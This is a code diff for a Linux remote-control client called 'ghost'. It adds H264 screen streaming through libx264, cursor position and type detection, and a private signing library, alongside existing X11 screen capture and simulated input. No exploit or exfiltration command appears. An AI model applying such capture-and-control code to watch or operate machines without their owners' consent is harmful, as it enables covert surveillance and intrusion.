Mprintf("*** %s exception: %s ***\n", threadName, e.what());
}
}

View File

@@ -28,6 +28,7 @@ set(SOURCES
main.cpp main.cpp
../client/Buffer.cpp ../client/Buffer.cpp
../client/IOCPClient.cpp ../client/IOCPClient.cpp
../client/sign_shim_unix.cpp
) )
add_executable(ghost ${SOURCES}) add_executable(ghost ${SOURCES})
@@ -40,6 +41,14 @@ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g")
message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a") message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a")
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a") target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
# 链接私有签名库(提供 signMessage / verifyMessage源码不开源
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libsign.a")
# libsign.a 内部使用 OpenSSL HMAC需要在最终可执行链接 libcrypto
find_package(OpenSSL REQUIRED)
target_link_libraries(ghost PRIVATE OpenSSL::Crypto)
# 链接 dl 库dlopen/dlsym 用于运行时加载 X11 # 链接 dl 库dlopen/dlsym 用于运行时加载 X11
target_link_libraries(ghost PRIVATE dl) target_link_libraries(ghost PRIVATE dl)

View File

@@ -3,7 +3,8 @@
#include "client/IOCPClient.h" #include "client/IOCPClient.h"
#include "LinuxConfig.h" #include "LinuxConfig.h"
#include "ClipboardHandler.h" #include "ClipboardHandler.h"
#include "FileTransferV2.h" #include "common/FileTransferV2.h"
#include "X264Encoder.h"
#include <dlfcn.h> #include <dlfcn.h>
#include <sys/stat.h> #include <sys/stat.h>
#include <thread> #include <thread>
@@ -11,7 +12,9 @@
#include <atomic> #include <atomic>
#include <vector> #include <vector>
#include <cstring> #include <cstring>
#include <cstdlib>
#include <stdexcept> #include <stdexcept>
#include <memory>
// 客户端 ID定义在 main.cpp // 客户端 ID定义在 main.cpp
extern uint64_t g_myClientID; extern uint64_t g_myClientID;
@@ -110,27 +113,39 @@ struct XGCValues_LNX {
#define IncludeInferiors 1 #define IncludeInferiors 1
// ============== 屏幕算法常量 ============== // ============== 屏幕算法常量 ==============
#define ALGORITHM_GRAY 0 // 常量定义已移至 commands.h: ALGORITHM_GRAY, ALGORITHM_DIFF, ALGORITHM_H264, ALGORITHM_RGB565
#define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2
#define ALGORITHM_RGB565 3
// 算法支持表(编译时常量,日后支持 H264 时改为 true // 检查算法是否支持H264 需要运行时检测
static const bool g_SupportedAlgo[] = { inline bool IsAlgorithmSupported(uint8_t algo) {
true, // ALGORITHM_GRAY = 0 switch (algo) {
true, // ALGORITHM_DIFF = 1 case ALGORITHM_GRAY:
false, // ALGORITHM_H264 = 2 case ALGORITHM_DIFF:
true, // ALGORITHM_RGB565 = 3 case ALGORITHM_RGB565:
}; return true;
case ALGORITHM_H264:
return X264Encoder::IsAvailable();
default:
return false;
}
}
// 不支持的算法降级为 RGB565 // 不支持的算法降级为 RGB565
inline uint8_t GetEffectiveAlgorithm(uint8_t algo) { inline uint8_t GetEffectiveAlgorithm(uint8_t algo) {
if (algo > 3 || !g_SupportedAlgo[algo]) { if (!IsAlgorithmSupported(algo)) {
Mprintf(">>> Algorithm %d not supported, fallback to RGB565\n", algo);
return ALGORITHM_RGB565; return ALGORITHM_RGB565;
} }
return algo; return algo;
} }
// 码率到 CRF 映射 (参考 Windows/macOS 实现)
inline int BitRateToCRF(int bitrate) {
if (bitrate >= 3000) return 20; // 高质量
if (bitrate >= 2000) return 23; // 中等
if (bitrate >= 1200) return 26; // 较低
return 30; // 最低
}
// ============== 颜色转换函数 ============== // ============== 颜色转换函数 ==============
// BGRA → 灰度 (Y = 0.299R + 0.587G + 0.114B) // BGRA → 灰度 (Y = 0.299R + 0.587G + 0.114B)
@@ -375,6 +390,16 @@ static unsigned long VKtoKeySym(unsigned int vk)
} }
} }
// XFixes cursor image structure (for cursor type detection)
struct XFixesCursorImage {
short x, y;
unsigned short width, height;
unsigned short xhot, yhot;
unsigned long cursor_serial;
unsigned long* pixels;
// Atom cursor_name; // Only in XFixes 2.0+
};
// X11 函数指针类型 // X11 函数指针类型
typedef Display* (*fn_XOpenDisplay)(const char*); typedef Display* (*fn_XOpenDisplay)(const char*);
typedef int (*fn_XCloseDisplay)(Display*); typedef int (*fn_XCloseDisplay)(Display*);
@@ -391,12 +416,18 @@ typedef int (*fn_XSync)(Display*, int);
typedef unsigned long (*fn_XKeysymToKeycode)(Display*, unsigned long); typedef unsigned long (*fn_XKeysymToKeycode)(Display*, unsigned long);
typedef int (*fn_XFlush)(Display*); typedef int (*fn_XFlush)(Display*);
typedef int (*fn_XClearArea)(Display*, Window, int, int, unsigned int, unsigned int, int); typedef int (*fn_XClearArea)(Display*, Window, int, int, unsigned int, unsigned int, int);
typedef int (*fn_XQueryPointer)(Display*, Window, Window*, Window*, int*, int*, int*, int*, unsigned int*);
typedef int (*fn_XFree)(void*);
// XTest 扩展函数指针类型(用于模拟鼠标/键盘输入) // XTest 扩展函数指针类型(用于模拟鼠标/键盘输入)
typedef int (*fn_XTestFakeMotionEvent)(Display*, int, int, int, unsigned long); typedef int (*fn_XTestFakeMotionEvent)(Display*, int, int, int, unsigned long);
typedef int (*fn_XTestFakeButtonEvent)(Display*, unsigned int, int, unsigned long); typedef int (*fn_XTestFakeButtonEvent)(Display*, unsigned int, int, unsigned long);
typedef int (*fn_XTestFakeKeyEvent)(Display*, unsigned int, int, unsigned long); typedef int (*fn_XTestFakeKeyEvent)(Display*, unsigned int, int, unsigned long);
// XFixes 扩展函数指针类型(用于光标类型检测)
typedef int (*fn_XFixesQueryExtension)(Display*, int*, int*);
typedef XFixesCursorImage* (*fn_XFixesGetCursorImage)(Display*);
// X11 动态加载包装 // X11 动态加载包装
class X11Loader class X11Loader
{ {
@@ -430,13 +461,19 @@ public:
fn_XKeysymToKeycode pXKeysymToKeycode; fn_XKeysymToKeycode pXKeysymToKeycode;
fn_XFlush pXFlush; fn_XFlush pXFlush;
fn_XClearArea pXClearArea; fn_XClearArea pXClearArea;
fn_XQueryPointer pXQueryPointer;
fn_XFree pXFree;
// XTest 扩展(用于模拟输入) // XTest 扩展(用于模拟输入)
fn_XTestFakeMotionEvent pXTestFakeMotionEvent; fn_XTestFakeMotionEvent pXTestFakeMotionEvent;
fn_XTestFakeButtonEvent pXTestFakeButtonEvent; fn_XTestFakeButtonEvent pXTestFakeButtonEvent;
fn_XTestFakeKeyEvent pXTestFakeKeyEvent; fn_XTestFakeKeyEvent pXTestFakeKeyEvent;
X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr) // XFixes 扩展(用于光标类型检测)
fn_XFixesQueryExtension pXFixesQueryExtension;
fn_XFixesGetCursorImage pXFixesGetCursorImage;
X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr), m_xfixes_handle(nullptr)
{ {
pXOpenDisplay = nullptr; pXOpenDisplay = nullptr;
pXCloseDisplay = nullptr; pXCloseDisplay = nullptr;
@@ -457,9 +494,13 @@ public:
pXKeysymToKeycode = nullptr; pXKeysymToKeycode = nullptr;
pXFlush = nullptr; pXFlush = nullptr;
pXClearArea = nullptr; pXClearArea = nullptr;
pXQueryPointer = nullptr;
pXFree = nullptr;
pXTestFakeMotionEvent = nullptr; pXTestFakeMotionEvent = nullptr;
pXTestFakeButtonEvent = nullptr; pXTestFakeButtonEvent = nullptr;
pXTestFakeKeyEvent = nullptr; pXTestFakeKeyEvent = nullptr;
pXFixesQueryExtension = nullptr;
pXFixesGetCursorImage = nullptr;
} }
bool Load() bool Load()
@@ -489,6 +530,8 @@ public:
pXKeysymToKeycode = (fn_XKeysymToKeycode)dlsym(m_handle, "XKeysymToKeycode"); pXKeysymToKeycode = (fn_XKeysymToKeycode)dlsym(m_handle, "XKeysymToKeycode");
pXFlush = (fn_XFlush)dlsym(m_handle, "XFlush"); pXFlush = (fn_XFlush)dlsym(m_handle, "XFlush");
pXClearArea = (fn_XClearArea)dlsym(m_handle, "XClearArea"); pXClearArea = (fn_XClearArea)dlsym(m_handle, "XClearArea");
pXQueryPointer = (fn_XQueryPointer)dlsym(m_handle, "XQueryPointer");
pXFree = (fn_XFree)dlsym(m_handle, "XFree");
// 加载 XTest 扩展库(用于模拟鼠标/键盘输入) // 加载 XTest 扩展库(用于模拟鼠标/键盘输入)
m_xtst_handle = dlopen("libXtst.so.6", RTLD_LAZY); m_xtst_handle = dlopen("libXtst.so.6", RTLD_LAZY);
@@ -499,7 +542,15 @@ public:
pXTestFakeKeyEvent = (fn_XTestFakeKeyEvent)dlsym(m_xtst_handle, "XTestFakeKeyEvent"); pXTestFakeKeyEvent = (fn_XTestFakeKeyEvent)dlsym(m_xtst_handle, "XTestFakeKeyEvent");
} }
// 基本 X11 函数必须全部存在XTest 函数可选(没有时无法控制输入 // 加载 XFixes 扩展库(用于光标类型检测
m_xfixes_handle = dlopen("libXfixes.so.3", RTLD_LAZY);
if (!m_xfixes_handle) m_xfixes_handle = dlopen("libXfixes.so", RTLD_LAZY);
if (m_xfixes_handle) {
pXFixesQueryExtension = (fn_XFixesQueryExtension)dlsym(m_xfixes_handle, "XFixesQueryExtension");
pXFixesGetCursorImage = (fn_XFixesGetCursorImage)dlsym(m_xfixes_handle, "XFixesGetCursorImage");
}
// 基本 X11 函数必须全部存在XTest/XFixes 函数可选
return pXOpenDisplay && pXCloseDisplay && pXGetImage && pXDestroyImage && return pXOpenDisplay && pXCloseDisplay && pXGetImage && pXDestroyImage &&
pXDefaultScreen && pXDisplayWidth && pXDisplayHeight && pXRootWindow && pXDefaultScreen && pXDisplayWidth && pXDisplayHeight && pXRootWindow &&
pXSetErrorHandler && pXCreatePixmap && pXFreePixmap && pXSetErrorHandler && pXCreatePixmap && pXFreePixmap &&
@@ -513,8 +564,18 @@ public:
return pXTestFakeMotionEvent && pXTestFakeButtonEvent && pXTestFakeKeyEvent; return pXTestFakeMotionEvent && pXTestFakeButtonEvent && pXTestFakeKeyEvent;
} }
// 检查 XFixes 扩展是否可用
bool HasXFixes() const
{
return pXFixesGetCursorImage != nullptr;
}
~X11Loader() ~X11Loader()
{ {
if (m_xfixes_handle) {
dlclose(m_xfixes_handle);
m_xfixes_handle = nullptr;
}
if (m_xtst_handle) { if (m_xtst_handle) {
dlclose(m_xtst_handle); dlclose(m_xtst_handle);
m_xtst_handle = nullptr; m_xtst_handle = nullptr;
@@ -528,6 +589,7 @@ public:
private: private:
void* m_handle; void* m_handle;
void* m_xtst_handle; void* m_xtst_handle;
void* m_xfixes_handle;
}; };
class ScreenHandler : public IOCPManager class ScreenHandler : public IOCPManager
@@ -538,7 +600,8 @@ public:
m_inputDisplay(nullptr), m_inputDisplay(nullptr),
m_width(0), m_height(0), m_width(0), m_height(0),
m_pixmap(0), m_gc(nullptr), m_xtestWarned(false), m_pixmap(0), m_gc(nullptr), m_xtestWarned(false),
m_bAlgorithm(ALGORITHM_DIFF), m_maxFPS(10), m_qualityLevel(QUALITY_ADAPTIVE) m_bAlgorithm(ALGORITHM_DIFF), m_maxFPS(10), m_qualityLevel(QUALITY_ADAPTIVE),
m_h264Bitrate(2000)
{ {
if (!client) { if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null"); throw std::invalid_argument("IOCPClient pointer cannot be null");
@@ -651,11 +714,21 @@ public:
// Double-check after acquiring lock // Double-check after acquiring lock
if (m_destroyed) return; if (m_destroyed) return;
// Prevent starting if thread is already running or joinable // If already running, just send TOKEN_BITMAPINFO again
if (m_captureThread.joinable()) return; // This allows server to create additional dialogs (MFC can open while Web is active)
if (m_captureThread.joinable() || m_running.load()) {
Mprintf(">>> ScreenHandler already running, sending TOKEN_BITMAPINFO for new dialog\n");
SendBitmapInfo();
return;
}
bool expected = false; bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return; if (!m_running.compare_exchange_strong(expected, true)) {
// Race condition: another thread started first, send bitmap info
Mprintf(">>> ScreenHandler race, sending TOKEN_BITMAPINFO for new dialog\n");
SendBitmapInfo();
return;
}
m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this); m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this);
} }
@@ -873,12 +946,28 @@ public:
// 应用帧率 // 应用帧率
m_maxFPS.store(profile.maxFPS); m_maxFPS.store(profile.maxFPS);
// 应用码率H264 使用)
int oldBitrate = m_h264Bitrate;
m_h264Bitrate = profile.bitRate;
// 应用算法(带降级处理) // 应用算法(带降级处理)
uint8_t algo = GetEffectiveAlgorithm(profile.algorithm); uint8_t algo = GetEffectiveAlgorithm(profile.algorithm);
uint8_t oldAlgo = m_bAlgorithm.load();
m_bAlgorithm.store(algo); m_bAlgorithm.store(algo);
Mprintf(">>> Quality: Level=%d, FPS=%d, Algo=%d->%d\n", // 如果 H264 参数变化,需要重新初始化编码器
level, profile.maxFPS, profile.algorithm, algo); if (algo == ALGORITHM_H264 && oldAlgo == ALGORITHM_H264 &&
(oldBitrate != m_h264Bitrate)) {
// 码率变化,重置编码器(下次编码时重新初始化)
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
Mprintf(">>> H264 encoder reset due to bitrate change\n");
}
}
Mprintf(">>> Quality: Level=%d, FPS=%d, Algo=%d->%d, Bitrate=%d\n",
level, profile.maxFPS, profile.algorithm, algo, profile.bitRate);
} else { } else {
// 自适应模式 (level=-1):由服务端动态调整,不做处理 // 自适应模式 (level=-1):由服务端动态调整,不做处理
Mprintf(">>> Quality: Adaptive mode\n"); Mprintf(">>> Quality: Adaptive mode\n");
@@ -1044,11 +1133,15 @@ private:
std::vector<uint8_t> m_diffBuffer; std::vector<uint8_t> m_diffBuffer;
// 自适应质量控制 // 自适应质量控制
std::atomic<uint8_t> m_bAlgorithm; // 当前算法 (ALGORITHM_DIFF/RGB565/GRAY) std::atomic<uint8_t> m_bAlgorithm; // 当前算法 (ALGORITHM_DIFF/RGB565/GRAY/H264)
std::atomic<int> m_maxFPS; // 最大帧率 std::atomic<int> m_maxFPS; // 最大帧率
int8_t m_qualityLevel; // 当前质量等级 (-1=自适应, 0-5=具体等级) int8_t m_qualityLevel; // 当前质量等级 (-1=自适应, 0-5=具体等级)
LinuxConfig m_config; // 配置持久化 (~/.config/ghost/config.conf) LinuxConfig m_config; // 配置持久化 (~/.config/ghost/config.conf)
// H264 编码器
std::unique_ptr<X264Encoder> m_h264Encoder;
int m_h264Bitrate; // 码率 (kbps)
// X11 截屏,输出 BGRA 格式(自底向上,与 BMP 一致) // X11 截屏,输出 BGRA 格式(自底向上,与 BMP 一致)
// 使用 XCopyArea 将 root window 拷贝到离屏 Pixmap再对 Pixmap 调用 XGetImage // 使用 XCopyArea 将 root window 拷贝到离屏 Pixmap再对 Pixmap 调用 XGetImage
// 这样可以避免合成窗口管理器Mutter 等)导致的 BadMatch 错误 // 这样可以避免合成窗口管理器Mutter 等)导致的 BadMatch 错误
@@ -1120,13 +1213,14 @@ private:
uint8_t algo = m_bAlgorithm.load(); uint8_t algo = m_bAlgorithm.load();
memcpy(data, &algo, sizeof(uint8_t)); memcpy(data, &algo, sizeof(uint8_t));
// 写入光标位置 (Linux 端简单置 0) // 写入光标位置
int32_t cursorX = 0, cursorY = 0; int32_t cursorX = 0, cursorY = 0;
GetCursorPosition(cursorX, cursorY);
memcpy(data + 1, &cursorX, sizeof(int32_t)); memcpy(data + 1, &cursorX, sizeof(int32_t));
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t)); memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
// 写入光标类型 // 写入光标类型 (使用 XFixes 检测)
uint8_t cursorType = 0; uint8_t cursorType = GetCursorTypeIndex();
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t)); memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1; // algo + cursor + cursorType uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1; // algo + cursor + cursorType
@@ -1141,6 +1235,60 @@ private:
std::swap(m_prevFrame, m_currFrame); std::swap(m_prevFrame, m_currFrame);
} }
// 发送 H264 编码帧
void SendH264Frame(bool forceKeyframe = false)
{
if (!CaptureScreen(m_currFrame)) return;
if (!m_client) return;
// 惰性初始化编码器
if (!m_h264Encoder) {
m_h264Encoder.reset(new X264Encoder());
int fps = m_maxFPS.load();
if (fps <= 0) fps = 20;
int crf = BitRateToCRF(m_h264Bitrate);
if (!m_h264Encoder->open(m_bmpHeader.biWidth, m_bmpHeader.biHeight, fps, crf)) {
Mprintf("*** H264 encoder init failed, falling back to RGB565\n");
m_bAlgorithm.store(ALGORITHM_RGB565);
m_h264Encoder.reset();
SendDiffFrame();
return;
}
Mprintf(">>> H264 encoder initialized: %dx%d @ %d fps, CRF=%d\n",
m_bmpHeader.biWidth, m_bmpHeader.biHeight, fps, crf);
}
// 编码当前帧
uint8_t* encodedData = nullptr;
uint32_t encodedSize = 0;
// direction=1 表示 bottom-up (BMP 格式)
int result = m_h264Encoder->encode(
m_currFrame.data(), 32, m_bmpHeader.biWidth * 4,
m_bmpHeader.biWidth, m_bmpHeader.biHeight,
&encodedData, &encodedSize, 1);
if (result != 0 || !encodedData || encodedSize == 0) {
return;
}
// 构建数据包: [TOKEN_NEXTSCREEN][algo][cursorX][cursorY][cursorType][H264Data]
uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
std::vector<uint8_t> packet(headerSize + encodedSize);
packet[0] = TOKEN_NEXTSCREEN;
packet[1] = ALGORITHM_H264;
int32_t cursorX = 0, cursorY = 0;
GetCursorPosition(cursorX, cursorY);
memcpy(&packet[2], &cursorX, sizeof(int32_t));
memcpy(&packet[6], &cursorY, sizeof(int32_t));
packet[10] = GetCursorTypeIndex(); // 使用 XFixes 检测光标类型
memcpy(&packet[headerSize], encodedData, encodedSize);
m_client->Send2Server((char*)packet.data(), packet.size());
}
// 差异比较算法(支持 DIFF/RGB565/GRAY // 差异比较算法(支持 DIFF/RGB565/GRAY
// 输出格式: [byteOffset(4) + length(4) + pixel data] ... // 输出格式: [byteOffset(4) + length(4) + pixel data] ...
// DIFF: length = 字节数, data = BGRA 原始数据 // DIFF: length = 字节数, data = BGRA 原始数据
@@ -1224,6 +1372,118 @@ private:
return (uint64_t)ts.tv_sec * 1000 + ts.tv_nsec / 1000000; return (uint64_t)ts.tv_sec * 1000 + ts.tv_nsec / 1000000;
} }
// 获取光标位置
void GetCursorPosition(int32_t& x, int32_t& y)
{
x = 0;
y = 0;
// 检查是否正在运行和资源是否有效
if (!m_running.load() || m_destroyed.load()) {
static bool warned = false;
if (!warned) {
Mprintf("*** GetCursorPosition: skipped (running=%d, destroyed=%d)\n",
m_running.load(), m_destroyed.load());
warned = true;
}
return;
}
Display* display = m_display; // 局部拷贝
if (!display || !m_x11.pXQueryPointer) {
static bool warned = false;
if (!warned) {
Mprintf("*** GetCursorPosition: display=%p, pXQueryPointer=%p\n",
(void*)display, (void*)m_x11.pXQueryPointer);
warned = true;
}
return;
}
Window root_return, child_return;
int root_x, root_y, win_x, win_y;
unsigned int mask;
if (m_x11.pXQueryPointer(display, m_root, &root_return, &child_return,
&root_x, &root_y, &win_x, &win_y, &mask)) {
x = root_x;
y = root_y;
// Clamp to screen bounds
if (x < 0) x = 0;
if (y < 0) y = 0;
if (x >= m_width) x = m_width - 1;
if (y >= m_height) y = m_height - 1;
}
}
// 获取光标类型索引(映射到 Windows 光标类型)
// Windows cursor type indices (from CursorInfo.h):
// 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
// 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
// 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
// 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
uint8_t GetCursorTypeIndex()
{
// Cache result and throttle to avoid performance impact
static uint8_t cachedIndex = 1; // Default: IDC_ARROW
static uint64_t lastCheckTime = 0;
static unsigned long lastCursorSerial = 0;
// Throttle: check at most every 100ms
uint64_t now = GetTickMs();
if ((now - lastCheckTime) < 100) {
return cachedIndex;
}
lastCheckTime = now;
// Check if XFixes is available and XFree is loaded
if (!m_x11.HasXFixes() || !m_x11.pXFree || !m_display) {
return 1; // IDC_ARROW
}
// Get current cursor image
XFixesCursorImage* cursorImg = m_x11.pXFixesGetCursorImage(m_display);
if (!cursorImg) {
return cachedIndex;
}
// Check if cursor changed (using serial number)
if (cursorImg->cursor_serial == lastCursorSerial) {
// Cursor hasn't changed, use cached value
// Note: We need to free the cursor image
// XFixes allocates this with Xlib's allocator
m_x11.pXFree(cursorImg);
return cachedIndex;
}
lastCursorSerial = cursorImg->cursor_serial;
// Analyze cursor characteristics to determine type
uint8_t index = 1; // Default to IDC_ARROW
unsigned short w = cursorImg->width;
unsigned short h = cursorImg->height;
unsigned short xhot = cursorImg->xhot;
unsigned short yhot = cursorImg->yhot;
// Heuristic-based cursor type detection (conservative approach):
// Only detect distinctive cursor types to minimize false positives
// IBEAM (text cursor): very narrow, tall cursor
if (w <= 8 && h >= 12 && xhot <= w/2 + 1) {
index = 5; // IDC_IBEAM
}
// HAND (pointing): hotspot at top-left area (finger tip)
else if (w >= 18 && h >= 20 && xhot <= 10 && yhot <= 5) {
index = 3; // IDC_HAND
}
// All other cursors default to ARROW
cachedIndex = index;
m_x11.pXFree(cursorImg);
return index;
}
// 截屏主循环 // 截屏主循环
void CaptureLoop() void CaptureLoop()
{ {
@@ -1233,10 +1493,34 @@ private:
// 发送第一帧 // 发送第一帧
SendFirstScreen(); SendFirstScreen();
uint8_t currentAlgo = m_bAlgorithm.load();
while (m_running) { while (m_running) {
uint64_t start = GetTickMs(); uint64_t start = GetTickMs();
uint8_t algo = m_bAlgorithm.load();
// 算法切换处理
if (algo != currentAlgo) {
currentAlgo = algo;
if (algo == ALGORITHM_H264) {
// 切换到 H264发送关键帧
SendH264Frame(true);
} else {
// 切换离开 H264关闭编码器并发送完整帧
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
}
SendFirstScreen();
}
} else {
// 正常帧
if (algo == ALGORITHM_H264) {
SendH264Frame(false);
} else {
SendDiffFrame(); SendDiffFrame();
}
}
// 动态计算帧间隔(根据当前 maxFPS // 动态计算帧间隔(根据当前 maxFPS
int fps = m_maxFPS.load(); int fps = m_maxFPS.load();
@@ -1250,6 +1534,12 @@ private:
} }
} }
// 清理 H264 编码器
if (m_h264Encoder) {
m_h264Encoder->close();
m_h264Encoder.reset();
}
Mprintf(">>> ScreenHandler CaptureLoop stopped\n"); Mprintf(">>> ScreenHandler CaptureLoop stopped\n");
} catch (const std::exception& e) { } catch (const std::exception& e) {
Mprintf("*** CaptureLoop exception: %s ***\n", e.what()); Mprintf("*** CaptureLoop exception: %s ***\n", e.what());

471
linux/X264Encoder.h Normal file
View File

@@ -0,0 +1,471 @@
#pragma once
/**
* X264Encoder.h - Linux H264 Encoder using libx264
*
* Features:
* - Dynamic library loading (dlopen/dlsym)
* - Automatic fallback if libx264 not available
* - Manual BGRA→I420 conversion (no libyuv dependency)
* - API compatible with Windows X264Encoder
*
* Requirements:
* - libx264 installed (apt install libx264-dev)
* - If not installed, H264 encoding is disabled
*/
#include <stdint.h>
#include <cstring>
#include <cstdlib>
#include <dlfcn.h>
#include <vector>
// Include x264 header for struct definitions
// The library is dynamically loaded at runtime
extern "C" {
#include "../compress/x264/x264.h"
}
// ============== X264Encoder Class ==============
class X264Encoder {
public:
// Check if libx264 is available on this system
static bool IsAvailable() {
static int available = -1;
if (available < 0) {
void* handle = TryLoadLibrary();
available = (handle != nullptr) ? 1 : 0;
if (handle) {
dlclose(handle);
fprintf(stderr, ">>> X264Encoder: libx264 available\n");
} else {
fprintf(stderr, "*** X264Encoder: libx264 not found (%s)\n", dlerror());
}
}
return available == 1;
}
X264Encoder()
: m_x264Handle(nullptr)
, m_encoder(nullptr)
, m_picIn(nullptr)
, m_picOut(nullptr)
, m_width(0)
, m_height(0)
{
memset(&m_param, 0, sizeof(m_param));
clearFunctionPointers();
}
~X264Encoder() {
close();
}
bool open(int width, int height, int fps, int crf) {
close();
// Load library
if (!loadLibrary()) {
fprintf(stderr, "*** X264Encoder::open: loadLibrary failed\n");
return false;
}
// Round to even dimensions (H264 requirement)
m_width = width & ~1;
m_height = height & ~1;
// Initialize parameters
if (fn_x264_param_default_preset) {
fn_x264_param_default_preset(&m_param, "ultrafast", "zerolatency");
}
// Set encoder parameters
m_param.i_width = m_width;
m_param.i_height = m_height;
m_param.i_log_level = X264_LOG_NONE;
m_param.i_threads = 1;
m_param.i_frame_total = 0;
m_param.i_keyint_max = fps * 15; // Keyframe every 15 seconds
m_param.i_bframe = 0; // No B-frames for low latency
m_param.b_open_gop = 0;
m_param.i_fps_num = fps;
m_param.i_fps_den = 1;
m_param.i_csp = X264_CSP_I420;
// Rate control: CRF mode
m_param.rc.i_rc_method = X264_RC_CRF;
m_param.rc.f_rf_constant = (float)crf;
// Apply baseline profile for compatibility
if (fn_x264_param_apply_profile) {
fn_x264_param_apply_profile(&m_param, "baseline");
}
// Allocate pictures
m_picIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
m_picOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
if (!m_picIn || !m_picOut) {
close();
return false;
}
// Initialize input picture
if (fn_x264_picture_init) {
fn_x264_picture_init(m_picIn);
}
// Allocate picture buffer
if (fn_x264_picture_alloc) {
if (fn_x264_picture_alloc(m_picIn, X264_CSP_I420, m_width, m_height) < 0) {
close();
return false;
}
}
// Open encoder
m_encoder = fn_x264_encoder_open(&m_param);
if (!m_encoder) {
close();
return false;
}
return true;
}
void close() {
if (m_encoder && fn_x264_encoder_close) {
fn_x264_encoder_close(m_encoder);
m_encoder = nullptr;
}
if (m_picIn) {
if (fn_x264_picture_clean) {
fn_x264_picture_clean(m_picIn);
}
free(m_picIn);
m_picIn = nullptr;
}
if (m_picOut) {
free(m_picOut);
m_picOut = nullptr;
}
unloadLibrary();
m_width = m_height = 0;
}
/**
* Encode a frame
* @param bgra Input BGRA image data
* @param bpp Bits per pixel (24 or 32)
* @param stride Bytes per row
* @param width Image width
* @param height Image height
* @param outData Output: pointer to encoded H264 data
* @param outSize Output: size of encoded data
* @param direction 1 = normal, -1 = vertical flip
* @return 0 on success, negative on error
*/
int encode(uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
int direction = 1)
{
if (!m_encoder || !m_picIn || !fn_x264_encoder_encode) {
return -1;
}
// Check dimensions match
if ((int)(width & ~1) != m_width || (int)(height & ~1) != m_height) {
return -2;
}
// Convert BGRA to I420 directly into x264 picture planes
if (bpp == 32) {
convertBGRAtoI420(bgra, stride, direction,
m_picIn->img.plane[0], m_picIn->img.i_stride[0],
m_picIn->img.plane[1], m_picIn->img.i_stride[1],
m_picIn->img.plane[2], m_picIn->img.i_stride[2]);
} else if (bpp == 24) {
convertRGB24toI420(bgra, stride, direction,
m_picIn->img.plane[0], m_picIn->img.i_stride[0],
m_picIn->img.plane[1], m_picIn->img.i_stride[1],
m_picIn->img.plane[2], m_picIn->img.i_stride[2]);
} else {
return -3;
}
// Encode
x264_nal_t* pNal = nullptr;
int iNal = 0;
int encodeSize = fn_x264_encoder_encode(m_encoder, &pNal, &iNal, m_picIn, m_picOut);
if (encodeSize < 0) {
return -4;
}
if (encodeSize == 0 || !pNal) {
*outData = nullptr;
*outSize = 0;
return 0;
}
*outData = pNal->p_payload;
*outSize = encodeSize;
return 0;
}
private:
// Library handle
void* m_x264Handle;
// Encoder state
x264_t* m_encoder;
x264_param_t m_param;
x264_picture_t* m_picIn;
x264_picture_t* m_picOut;
int m_width, m_height;
// x264 function pointers
void (*fn_x264_param_default_preset)(x264_param_t*, const char*, const char*);
int (*fn_x264_param_apply_profile)(x264_param_t*, const char*);
x264_t* (*fn_x264_encoder_open)(x264_param_t*);
void (*fn_x264_encoder_close)(x264_t*);
int (*fn_x264_encoder_encode)(x264_t*, x264_nal_t**, int*, x264_picture_t*, x264_picture_t*);
void (*fn_x264_picture_init)(x264_picture_t*);
int (*fn_x264_picture_alloc)(x264_picture_t*, int, int, int);
void (*fn_x264_picture_clean)(x264_picture_t*);
void clearFunctionPointers() {
fn_x264_param_default_preset = nullptr;
fn_x264_param_apply_profile = nullptr;
fn_x264_encoder_open = nullptr;
fn_x264_encoder_close = nullptr;
fn_x264_encoder_encode = nullptr;
fn_x264_picture_init = nullptr;
fn_x264_picture_alloc = nullptr;
fn_x264_picture_clean = nullptr;
}
static void* TryLoadLibrary() {
// Try multiple library versions (newest first)
const char* libNames[] = {
"libx264.so", // symlink (if exists)
"libx264.so.164", // Ubuntu 24, Debian 12+
"libx264.so.163",
"libx264.so.162",
"libx264.so.161",
"libx264.so.160",
"libx264.so.159",
"libx264.so.157",
"libx264.so.155", // Ubuntu 20
"libx264.so.152",
"libx264.so.148", // older distros
nullptr
};
for (int i = 0; libNames[i]; i++) {
void* handle = dlopen(libNames[i], RTLD_LAZY);
if (handle) return handle;
}
return nullptr;
}
bool loadLibrary() {
m_x264Handle = TryLoadLibrary();
if (!m_x264Handle) {
return false;
}
// Load functions
fn_x264_param_default_preset = (decltype(fn_x264_param_default_preset))
dlsym(m_x264Handle, "x264_param_default_preset");
